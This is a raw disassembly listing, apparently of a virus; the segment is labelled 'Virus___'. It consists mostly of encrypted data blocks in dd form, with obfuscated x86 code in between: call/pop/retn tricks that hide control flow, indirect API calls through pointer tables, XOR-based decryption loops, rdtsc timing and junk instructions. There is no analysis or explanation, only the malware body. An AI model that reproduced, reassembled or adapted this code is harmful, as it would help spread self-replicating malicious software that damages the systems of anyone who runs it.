		dd 71EE8166h, 665061B3h, 89FE28BFh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0EE98AC3h
		dd 26000000h, 3A57B103h, 7023ABB9h, 38E267D8h, 6800F0Bh
		dd 0F000000h, 8Bh, 6A006A00h, 3E85200h,	20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 218AC352h, 0F9981A50h
		dd 8914D0D2h, 5D3175B5h, 6A006A09h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0BDBDC356h
		dd 0BC82D4E6h, 8B1A0AC4h, 5D195D9Dh, 0FB858D09h, 0BB0961FFh
		dd 35EBA147h, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 1ED3C353h, 0F916D990h
		dd 2F09BD8Bh, 0F90095Dh, 285h, 50DF8B00h, 90F88B66h, 6A006Ah
		dd 1A999D8Bh, 95FF095Dh, 95D0851h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 6DC35242h, 0C9033E93h, 4A73228h
		dd 0C7816642h, 1520346h, 5D001D9Dh, 8D8D5B09h, 960914Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5CC35747h
		dd 0FFA1D790h, 1D9589D1h, 83095D29h, 5D0971BDh,	850F0109h
		dd 3Fh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
		dd 0AFC35141h, 0BFF89367h, 8BD9BF0Fh, 50026ADAh, 489F98Bh
		dd 0DD858924h, 0FF095D05h, 5D14C995h, 0AD9D2909h, 0E9095D22h
		dd 0C35h, 0E8h,	0ED815D00h, 9620005h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 85C35040h, 8148E954h, 628728E3h
		dd 52006A25h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0EF812446h, 61FAFE82h, 8DFE8B66h, 608AE285h
		dd 68D0F09h, 29000000h,	5D2A299Dh, 8B669009h, 0BE850FAh
		dd 5D000000h, 1A4A9CDCh, 4E3E442Ah, 14E9CC0Ah, 50000000h
		dd 0F1073708h, 0A6531C94h, 2551D40Bh, 2990CE57h, 5B4CA7EAh
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 671577A7h, 0B70F5819h, 35FF64DBh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5BABFF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BABFF	proc near		; CODE XREF: Virus___:005BABF7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5BABFF	endp

; ---------------------------------------------------------------------------
		xor	al, 0C9h
		sti
		xchg	eax, edx
		retn
; ---------------------------------------------------------------------------
		dd 645C930Bh, 2589h, 0DA8B0000h, 216985FFh, 6A095Dh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 18FFC8C3h, 0FFF6AF5h, 0B5FFFEB7h, 95D18C9h, 8595FFFCh
		dd 0E9095D03h, 107h, 32DDBD8Bh,	0B0095Dh, 246DBD31h, 13E8095Dh
		dd 96000000h, 51283E96h, 0A028D711h, 705737D8h,	0AD54394Ch
		dd 0BD8B3C51h, 95D0A25h, 0F70E65Bh, 71E4F9BFh, 33098529h
		dd 613C095Dh, 0C5830Fh,	0BD8B0000h, 95D2439h, 8BC8B60Fh
		dd 6BADAh, 8B660000h, 29C18BD8h, 5D24819Dh, 4E8C109h, 6673EF80h
		dd 0C82BE2F7h, 0EE8h, 8C00AA00h, 4AF79F50h, 554CCCE3h
		dd 8BE22797h, 5D1911BDh, 0D18B5B09h, 958D0360h,	0FC095D30h
		dd 75E961h, 0F8600000h,	68E0Fh,	85290000h, 95D1A89h, 49858B61h
		dd 8344004Eh, 9D8B07C0h, 95D0B0Dh, 8900C083h, 5D2601BDh
		dd 0FD03B09h, 1183h, 8D9D8B00h,	0E9095D32h, 3Bh, 29E58529h
		dd 8D8B095Dh, 0FFFFFFFFh, 0F01E183h, 2684h, 80CF8100h
		dd 8B2AA805h, 0FFA583DFh, 0FEFFFFFFh, 0ED16EB81h, 958922EFh
		dd 44004E49h, 31C9BD33h, 0E9095Dh, 8D000000h, 6179BFB5h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 97A8A21Ch, 0EDB67300h, 9D297783h, 95D2C05h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 88E994C3h, 95FF1839h, 95D11B1h, 8DB9FE8Bh
		dd 6A00000Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0E616C350h, 95DDFEBFh,	1DBD89C6h
		dd 83095D25h, 0BF66FCE1h, 9589BE02h, 95D198Dh, 9CE781FCh
		dd 2B6323BBh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 60FEDFD2h, 9E9h, 0DB042E00h, 5C588832h
		dd 85294A5Fh, 95D3209h,	35BF6661h, 1D22B2Dh, 5D0A2595h
		dd 0C233AD09h, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 819643EEh, 7F0C6782h, 58C0Fh, 81660000h, 8151B8EFh
		dd 5989A9EFh, 51006A16h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 880DBEh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 6D4825C3h
		dd 0E78169E4h, 46654EBDh, 919958Bh, 6A095Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BD55DC3h
		dd 5D13498Dh, 0F98B6609h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0F710E5C3h, 333D8D31h, 0DC8A095Dh
		dd 3169BD83h, 0F00095Dh, 3F84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0CE36E314h
		dd 0A2BB6641h, 0B896h, 0FB8B0000h, 4D928D8Dh, 9D8B095Dh
		dd 95D2B85h, 0BD8BE1FFh, 95D1981h, 15F9BD83h, 0F00095Dh
		dd 3A684h, 7DBD2300h, 83095D09h, 5D15F9BDh, 840F0109h
		dd 3AEh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	0C2C35040h, 0C2822A10h,	60C7AC91h, 4A48E181h, 75BF373Bh
		dd 6114116Bh, 15F9BD83h, 0F03095Dh, 33B86h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 5074B00h, 6A2D21B1h,	9589DAF4h, 95D29F1h, 1D419D8Bh
		dd 0F60095Dh, 8C66D9B7h, 4E180D9h, 0C90AFBB7h, 12F840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 3FBE56C3h, 60F7EC08h, 19C1BD03h, 5E9095Dh
		dd 73000000h, 77345F86h, 0D858B61h, 6A095D2Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 9D72C352h, 515ED88h,	0B1535D87h, 985ABF66h, 27658533h
		dd 8C0F095Dh, 6, 1EB99D89h, 5190095Dh, 6840Fh, 820F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		push	eax
		push	ecx
		mov	bl, 30h
		pop	ebx
		nop
		pusha
		mov	[ebp+95D1E81h],	eax
		jmp	loc_5BB0C1
; ---------------------------------------------------------------------------
		db 59h
		dd 349D069Fh, 11FF97BDh, 864EE295h, 941881CCh
		db 0D5h
; ---------------------------------------------------------------------------


loc_5BB0C1:				; CODE XREF: Virus___:005BB0AAj
		popa
		push	0
		mov	[ebp+95D1CC1h],	esi
		push	0CC4C7C7Fh
		mov	edi, 69A7AEF6h
		add	dword ptr [esp], 33D28780h
		call	dword ptr [ebp+95D0FADh]
		mov	edi, [ebp+95D0399h]
		mov	ebx, edi
		mov	[ebp+960A564h],	eax
		push	0
		push	edi
		call	sub_5BB0FA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB0FA	proc near		; CODE XREF: Virus___:005BB0F2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BB0FA	endp

; ---------------------------------------------------------------------------
		push	ss
		scasd
		db	67h
		xchg	eax, ebx
		clc
		mov	edi, 6ABEDBD0h
		jle	loc_5BB120
		add	[ebp+95D18CDh],	ebx


loc_5BB120:				; CODE XREF: Virus___:005BB114j
		movsx	edi, bx
		jmp	loc_5BB2AF
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5BB133
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB133	proc near		; CODE XREF: Virus___:005BB12Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5BB133	endp

; ---------------------------------------------------------------------------
		db 97h
		dd 0E7AF9679h, 5C858BC0h, 0BB0960A5h, 71D91777h, 1800C7h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0E5AA5CC3h, 0D0CC078Ch, 8BF0E38Eh, 5D03459Dh
		dd 6E56BF09h, 0B58B4293h, 960A560h, 11E8h, 0B0638400h
		dd 75FE2723h, 57C8762Dh, 3B0B0BBBh, 840F496Eh, 3, 5BFA8B66h
		dd 3151858Bh, 880F095Dh, 0
		dd 6898FB7h, 8BD98B66h,	5D2C0D85h, 1DB58909h, 89095D08h
		dd 23600446h, 5D145D8Dh, 0E8816609h, 50613AFBh,	8A0F5250h
		dd 0
		dd 0D88B310Fh, 3489585Ah, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0B352CC32h
		dd 9D8B5B2Dh, 95D11C1h,	0A55CB5FFh, 6A0960h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0E4BA12C3h
		dd 68B5AA0Ch, 90E5ECE1h, 5800Fh, 0D8BB0000h, 8146629Ch
		dd 171E2404h, 6A6F39h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0FB4DBDC3h, 0ADBB2256h, 8D29D711h
		dd 60A56485h, 0D9F38109h, 9017791Ah, 8E9h, 24788400h, 0D1878980h
		dd 890F5000h, 0
		db 90h
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+95D0CDDh]
		call	dword ptr [ebp+95D0FADh]
		mov	[ebp+95D2691h],	eax


loc_5BB2AF:				; CODE XREF: Virus___:005BB123j
		popa
		mov	edi, [ebp+95D20C9h]
		mov	dword ptr [ebp+95D15F9h], 3
		add	edi, [ebp+95D10A5h]
		push	eax
		xor	bh, 1Ch
		pop	ebx
		cmp	dword ptr [ebp+960A564h], 0
		jz	loc_5BB310
		push	0
		push	edi
		call	sub_5BB2E3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB2E3	proc near		; CODE XREF: Virus___:005BB2DBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BB2E3	endp

; ---------------------------------------------------------------------------
		db 0CDh
		dd 0CFC3368Eh, 650019FFh, 72DF80F9h, 2A919D8Bh,	20E9095Dh
		dd 66000000h, 93FDC381h
; ---------------------------------------------------------------------------


loc_5BB310:				; CODE XREF: Virus___:005BB2D2j
					; Virus___:005BB327j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5BB310
		jmp	short loc_5BB361
; ---------------------------------------------------------------------------


loc_5BB32B:				; CODE XREF: Virus___:005BB342j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5BB32B
		jmp	short loc_5BB361
; ---------------------------------------------------------------------------


loc_5BB346:				; CODE XREF: Virus___:005BB35Dj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5BB346
		jmp	short $+2


loc_5BB361:				; CODE XREF: Virus___:005BB329j
					; Virus___:005BB344j
		mov	eax, eax
		sbb	bh, 60h
		add	di, 0D264h
		cmp	dword ptr [ebp+95D15F9h], 3
		jnz	loc_5BB72D
		jl	loc_5BB383
		pusha
		mov	bx, ax
		popa


loc_5BB383:				; CODE XREF: Virus___:005BB378j
		cmp	dword ptr [ebp+960A564h], 0
		jz	loc_5BB72D
		adc	edi, 0B65B312h
		push	dword ptr [ebp+960A564h]
		cld
		call	dword ptr [ebp+95D0A41h]
		mov	[ebp+95D16E9h],	eax
		mov	esi, [ebp+960A558h]
		push	0
		push	ecx
		call	sub_5BB3BA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB3BA	proc near		; CODE XREF: Virus___:005BB3B2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5BB3BA	endp

; ---------------------------------------------------------------------------
		mov	ebx, 0FEDCB700h
		mov	di, 8C84h
		mov	dword ptr [esi], 10001h
		push	0
		push	edx
		call	sub_5BB3E4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB3E4	proc near		; CODE XREF: Virus___:005BB3DCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5BB3E4	endp

; ---------------------------------------------------------------------------
		dd 0FF98B80h, 0C8Fh, 68D0F00h, 81000000h, 0D06C1CDBh, 9E9506Ch
		dd 79000000h, 0CEAA37B5h, 92CD73ADh, 6A243489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 8014C356h, 7319D01h,	0B5FF095Dh, 960A564h, 7CD9D0Bh
		dd 95FF095Dh, 95D05FDh,	0FC8DB80h, 8Dh,	58B58B00h, 6A0960A5h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7C8C357h,	446DA8B8h, 8B9F676Bh, 5D304D85h
		dd 57006A09h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 5BBAB3BDh, 0FBBF0F6Bh, 0C48689h,	6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 4AD2DBC3h, 958BCBF0h, 95D0919h, 8D0Fh, 0C2830000h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 82350470h, 8D015713h, 95D1B2Dh, 0E628A2BBh, 20508918h
		dd 0C1858DF8h, 0E90960BBh, 0Ah,	1A83FA23h, 45048049h, 86892438h
		dd 0B8h, 6840Fh, 9D8B0000h, 95D1939h, 11E9h, 2F67FB00h
		dd 0A799FA31h, 59182C75h, 8AB78E5Ch, 6A30DAh, 9F21BF66h
		dd 0A564B5FFh, 0BB660960h, 95FF90ACh, 95D14C9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0BCC35040h, 0E850B826h
		dd 0Ch,	0DDED8028h, 0AA6492C2h,	6FB12B3Dh, 0DE8h, 2A886400h
		dd 3023EB6Ah, 0CB2266B1h, 6160812Eh, 34895B5Bh,	50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0D82379Dh, 8B663D01h, 0A8B0FFBh, 0E9000000h,	5, 0F24038A1h
		dd 64B5FF45h, 6A0960A5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0F8F6C357h,	645B589h
		dd 95FF095Dh, 95D137Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 65C35343h, 5D102BD6h,	0D1BD83F6h, 95D19h
		dd 0A840Fh, 95890000h, 95D1A55h, 24348950h, 0A564B5FFh
		dd 0FE8B0960h, 2F9595FFh, 6A095Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0E20835C3h, 0B5FFDE8Bh
		dd 960A564h, 0D2BFF381h, 95FF54A6h, 95D1795h, 4F98D89h
		dd 8953095Dh, 5D09A185h, 0BD835B09h, 95D0B11h, 4D840F02h
		dd 0F000000h, 858BF8BFh, 95D2215h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 8C35646h, 0A6075686h, 21AB2B7h
		dd 0C6FE8A84h, 0FE90000h, 99000000h, 322EAA17h,	472AEFDh
		dd 8C6525AFh, 0BD89BA87h, 95D20A1h, 54585C7h, 95Dh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 4C64DCC3h, 586D344Dh, 0BE98Bh, 458B0000h, 0D8D781C5h
		dd 78EE2AE4h
; ---------------------------------------------------------------------------
		push	ds


loc_5BB72D:				; CODE XREF: Virus___:005BB372j
					; Virus___:005BB38Aj
		jmp	near ptr dword_5BAC14+31h
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BB73D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB73D	proc near		; CODE XREF: Virus___:005BB735p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5BB73D	endp

; ---------------------------------------------------------------------------
		db 3Bh,	95h, 94h
		db 90h
		db 3Fh,	0AAh, 86h
; ---------------------------------------------------------------------------
		mov	eax, ecx
		jno	loc_5BB75F
		movzx	ebx, cx


loc_5BB75F:				; CODE XREF: Virus___:005BB756j
		or	edi, [ebp+95D1F55h]
		lea	eax, [ebp+95D2239h]
		jz	loc_5BB774
		movsx	ebx, di


loc_5BB774:				; CODE XREF: Virus___:005BB76Bj
		mov	ebx, [ebp+95D22C9h]
		nop
		push	eax
		push	edx
		jmp	loc_5BB793
; ---------------------------------------------------------------------------
		dw 16A5h
		dd 65967F3Dh, 0A6F1E93Fh, 3F41C449h
		db 55h,	0B8h, 6
; ---------------------------------------------------------------------------


loc_5BB793:				; CODE XREF: Virus___:005BB77Dj
		rdtsc
		jmp	loc_5BB7A9
; ---------------------------------------------------------------------------
		dw 0C99Ah
; ---------------------------------------------------------------------------
		sal	dword ptr [edx-63h], 1
		mov	ch, ch
		adc	eax, 535D8705h
		mov	cl, 87h
		dec	ecx


loc_5BB7A9:				; CODE XREF: Virus___:005BB795j
		pop	edx
		pop	eax
		push	eax
		nop
		sub	[ebp+95D2901h],	ebx
		push	0
		push	0
		push	edi
		call	sub_5BB7C0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB7C0	proc near		; CODE XREF: Virus___:005BB7B8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BB7C0	endp

; ---------------------------------------------------------------------------
		inc	esi
		mov	bx, 0F583h
		mov	[ebp+95D2271h],	edi
		push	0
		xor	ebx, [ebp+95D1429h]
		jnp	loc_5BB7ED
		pusha
		mov	esi, ecx
		popa


loc_5BB7ED:				; CODE XREF: Virus___:005BB7E3j
		lea	eax, [ebp+9620E49h]
		mov	ebx, [ebp+95D2615h]
		add	eax, 5
		mov	[ebp+95D058Dh],	ecx
		nop
		jmp	loc_5BB810
; ---------------------------------------------------------------------------
		dd 74EC17BBh, 3D3D9C25h
; ---------------------------------------------------------------------------


loc_5BB810:				; CODE XREF: Virus___:005BB803j
		push	eax
		mov	di, bx
		nop
		sub	[ebp+95D0AF5h],	edi
		push	0
		mov	edi, [ebp+95D30F9h]
		and	ebx, [ebp+95D13C1h]
		push	0
		push	0
		push	edi
		call	sub_5BB836
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB836	proc near		; CODE XREF: Virus___:005BB82Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5BB836	endp

; ---------------------------------------------------------------------------
		jo	short loc_5BB887
		dec	edx
		cmp	ecx, [edi+381C0BEEh]
		call	dword ptr [ebp+95D0851h]
		push	0
		push	ebx
		call	sub_5BB860
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB860	proc near		; CODE XREF: Virus___:005BB858p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BB860	endp

; ---------------------------------------------------------------------------
		dd 0D8611B2Fh, 0A590FA3Eh, 0BB66EE12h, 816672E2h, 8DB218F3h
		db 8Dh,	4Ch, 91h
; ---------------------------------------------------------------------------


loc_5BB887:				; CODE XREF: Virus___:005BB846j
		pusha
		or	[edx+0], ebp
		push	ecx
		call	sub_5BB894
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB894	proc near		; CODE XREF: Virus___:005BB88Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5BB894	endp

; ---------------------------------------------------------------------------
		dd 0D88A8177h, 6AD1FFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 6EA5D4C3h, 37963193h, 0BD83F9D5h
		dd 95D0971h, 9E850F01h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0A8FDC351h
		dd 0F8AFAF8h, 0F9BF0F96h, 9111BB66h, 6A026Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8A907DC3h
		dd 0DE8B50FEh, 51006A90h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BF0F65E3h, 0C995FFFBh
		dd 6A095D14h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0D9BEC355h, 0E18E3E84h, 8B4EDC27h
		dd 5D0779BDh, 0DE5E909h, 0E80000h, 5D000000h, 0E53ED81h
		dd 6A0962h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 11E9E9C3h, 7E000000h, 0D5C7BE2Eh,	0A560DCE1h
		dd 0B288822h, 819B7106h, 8AE2858Dh, 85890960h, 95D1A29h
		dd 0BF525090h, 330BF9Bh, 11E9310Fh, 0C2000000h,	0BF48C73Bh
		dd 0F5C531E0h, 7A687013h, 342B2AABh, 0B350585Ah, 6A9066h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 8D2E1FC3h, 0D3E94186h, 322D9D8Bh, 0FF64095Dh, 35h, 0D381FC00h
		dd 7FAB2F7Ah, 258964h, 89000000h, 5D07058Dh, 99958909h
		dd 0FF095D19h, 5D216985h, 6AFF6A09h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AD80C351h
		dd 0FFD479C5h, 5D1EA1B5h, 51858909h, 0FF095D07h, 5D038595h
		dd 13CE909h, 5B570000h,	8B6600B0h, 3170E6F9h, 5D288185h
		dd 3C71E409h, 23830F61h, 0F8000001h, 89C8B60Fh,	5D3101BDh
		dd 0E5BD8B09h, 0BA095D12h, 6, 13E8h, 90F06900h,	0EAE9969Bh
		dd 6CF055E7h, 610B39ADh, 0BB8444E8h, 5FFA8B66h,	8A0FC18Bh
		dd 0Ch,	7E9h, 5F3AF500h, 0DB89DCD8h, 13E8h, 83B2B600h
		dd 0CEE89B92h, 91BDB643h, 0BF607675h, 90123F88h, 0C15BDE8Bh
		dd 0C78104E8h, 4E6B216Fh, 8BE2F766h, 5D2EE1BDh,	8BC82B09h
		dd 5D06459Dh, 0E9D18B09h, 0Ch, 0FBDD1C1Eh, 4FDD0846h, 1ED4123Bh
		dd 91E9h, 41850900h, 8B095D22h,	5F4C4C85h, 0F99D2B50h
		dd 83095D2Eh, 7E807C0h,	35000000h, 6A576100h, 8D31AF76h
		dd 95D182Dh, 0C0835Bh, 6E9h, 5033E900h,	3BB62A7Ch, 13830FD0h
		dd 8B000000h, 5D0F11BDh, 48E909h, 8B530000h, 5D0ABD9Dh
		dd 8D8B5F09h, 0FFFFFFFFh, 0CE9h, 0F0C91B00h, 0B6F82430h
		dd 7AD692D4h, 1E18309h,	20840Fh, 8B660000h, 0FFA583F9h
		dd 0FEFFFFFFh, 3EC38166h, 4C9589A9h, 29505F4Ch,	5D31C585h
		dd 0E909h, 0B58D0000h, 961894Ch, 1B1D9D89h, 6A095Dh, 99DBD33h
		dd 95FF095Dh, 95D11B1h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 60C35545h, 0B659D29h,	0A0B9095Dh, 6A00000Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 5B70C351h, 83E6B329h, 6AFCE1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 29E77EC3h
		dd 0AFC2A847h, 0BD8BFC93h, 95D26ADh, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 2980B9E1h, 5D2BEDBDh, 0F88B6609h, 12E9D22Bh,	8000000h
		dd 759F9E4Ah, 4DDDE614h, 3724BD9Bh, 0BE0DC183h,	0C233AD24h
		dd 0D003E8D1h, 7504E983h, 0FBB70FF4h, 0E2D78166h, 880DACh
		dd 1DBF0000h, 8B44DC35h, 5D091995h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D8B2106h
		dd 95D2F25h, 13498D8Bh,	830F095Dh, 5, 0E7E38166h, 68B0F6Bh
		dd 8B000000h, 5D19C99Dh, 0C28B5009h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0F690C352h,	0EE8h
		dd 64AE3700h, 8AE092C6h, 3AAD1F1Dh, 9279CA7h, 5D320985h
		dd 0BD835B09h, 95D3169h, 75840F00h, 89000000h, 5D20318Dh
		dd 0B809h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 5BE0C9C3h, 7101F939h, 2A3EBF9Ch
		dd 8D8D6335h, 95D4D92h,	7E950h,	3F2C0000h, 553E8DD6h, 0E1FF5FB1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 4FC35040h
		dd 0EDD77C8Bh, 0D98B661Ah, 45BD8B51h, 5F095D26h, 15F9BD83h
		dd 0F00095Dh, 4F984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8B66534Ah, 0F9BD83D9h
		dd 1095D15h, 4E7840Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD8319C3h, 95D15F9h
		dd 88860F03h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 9C81C352h, 8902CEF9h
		dd 5D1A5D8Dh, 0C1BD0109h, 60095D09h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0A3C35343h,	312039C0h, 95C1BB05h
		dd 0D98C66D2h, 0E8FFBF0Fh, 13h,	5558F73Dh, 32C604EBh, 35C98645h
		dd 3E859BB5h, 5267AB1Dh, 5F5B5B56h, 6A04E180h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 5E89C352h, 548BEB81h, 0C90A6918h, 184840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8509ECC3h, 95D1351h,	2C0D858Bh, 11E9095Dh, 0FC000000h
		dd 0D6047B61h, 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 27658533h
		dd 6A095Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 36D2EFC3h, 12E9F03Fh, 46000000h, 608184DAh
		dd 0F88672D0h, 0C929E138h, 0BE93EDC6h, 6E952h, 80E60000h
		dd 9C518D3Bh, 11E9h, 9718CA00h,	24960C70h, 62FD1E16h, 8A5C7557h
